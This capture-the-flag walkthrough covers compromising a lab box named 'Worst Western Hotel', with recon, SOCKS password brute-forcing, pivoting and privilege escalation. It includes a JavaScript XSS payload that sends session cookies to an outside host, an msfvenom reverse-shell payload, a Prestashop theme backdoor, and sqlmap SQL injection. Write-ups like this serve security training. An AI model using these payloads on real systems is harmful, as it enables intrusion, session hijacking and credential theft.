
Walkthrough - Worst Western Hotel

Recon
Nmap scan reveals two open ports

Port 1080 is a socks5 proxy, requiring authentication

Port 80 redirects to hostname: prime.worstwestern.com

We add that in our hosts-file and visit the site

http://prime.worstwestern.com


Nikto finds out this is Prestashop

On exploit-db we find this one:
https://www.exploit-db.com/exploits/48347
Prestashop 1.7.6.4 - Cross-Site Request Forgery 

We understand the admin-entry could be important 

Starting our fuzzers

gobuster dir --url http://prime.worstwestern.com -w /usr/share/seclists/
Discovery/Web-Content/big.txt -x txt,zip,tar

We do find the admin-entry

https://www.exploit-db.com/exploits/48347


We also find a interesting file

It does not look like credentials to access the admin-page. Could be for 
using the Socks-proxy we found on our Nmap scan?

Not with that password anyway.

Nmap-script to bruteforce socks password
Echo "Prime">user.txt
nmap --script socks-brute --script-args userdb=./user.txt,passdb=/usr/
share/seclists/Passwords/Leaked-Databases/rockyou.txt -p 1080 
192.168.16.64 -v

Nmap doesn't seem to work well with socks5, so we run it through 
proxychains

Scanning most common ports on the whole subnet
proxychains nmap -sT -Pn -p 22,80,443  192.168.1.0/24



Finding 2 up

192.168.1.99 
192.168.1.124

192.168.1.99 is the proxy itself

Nmap scan report for 192.168.1.124
Host is up (0.011s latency).

PORT    STATE  SERVICE
22/tcp  closed ssh
80/tcp  open   http
443/tcp open   https

Manually checking 192.168.1.124 takes us to a login-page. Both on port 80 
and 443



This page has a stored blind XSS vulnerability in the username-field. We 
set up a staged XSS payload using "script src" delivery, to steal session-
cookie

s.js
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://172.16.81.1/?cookie='+document.cookie,true);
xhr.send();



We get a request back

Replacing our session-cookie with this one, gives us access to a camera 
surveillance site.

One of the cameras shows a office with some interesting details



Zooming in on the picture, reveals a username and password on the 
monitor

peterg



Birdistheword

The only login we can think of (besides the camera site, it isn't working 
there), it the adminpanel we found earlier. 

Username is an email-address, so we try: peterg@worstwestern.com 

And we are in

mailto:peterg@worstwestern.com


As shown in the exploit-db entry, you can get RCE on Prestashop by 
altering a theme. We download the used theme from the server (less 
suspicious than replacing it with another one)

We edit lang/index.php, to make a backdoor

 



Popping a revshell and checking network interfaces

Flag1.txt is to be found in users home folder



We are on another network. 192.168.0.0/24

There is no Nmap, Netcat or Ping on the system

Metasploit is a great tool.
We create a payload to get a meterpreter session
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.16.53 
lport=4455 -f elf >mp

Upload using local http-server and get a connection back

We add ourself a route to the network through the meterpreter session 
and start a socks proxy



Again we use proxy chains to scan

We find 22, 80 and 443 on 192.168.0.1

Port 443 looks interesting

We add the fqdn to our host-file

We reach a CRM



We set up a port forwarding instead of using socks

There is a SQLi in email-field in the "Forgot-password" page.

Copying request from Browser developer tools 

sqlmap -r sqli.txt --dbms mysql -D crm --tables --batch



So we have a entry for Peter here too, which a slightly different password: 
TheBirdIsTheWord

We put up another port fwd

Trying our new-found credentials and have a shell

Flag2 is in users homefolder

Put up a web server on our attacking machine



Download and run linpeas

php has setuid capabilities

Gtfobins.github.io helps us finding a way to exploit

Flag3 is in /root

Phew....pwned!

http://Gtfobins.github.io

